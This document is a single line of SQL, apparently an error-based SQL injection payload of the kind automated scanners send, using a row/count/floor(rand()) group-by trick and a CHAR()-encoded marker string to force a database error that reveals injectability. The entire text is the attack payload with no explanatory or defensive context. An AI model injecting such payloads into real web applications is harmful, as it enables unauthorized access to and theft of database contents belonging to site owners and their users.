(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(122),CHAR(56),CHAR(50),CHAR(105),CHAR(105),CHAR(80),CHAR(103),CHAR(56)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))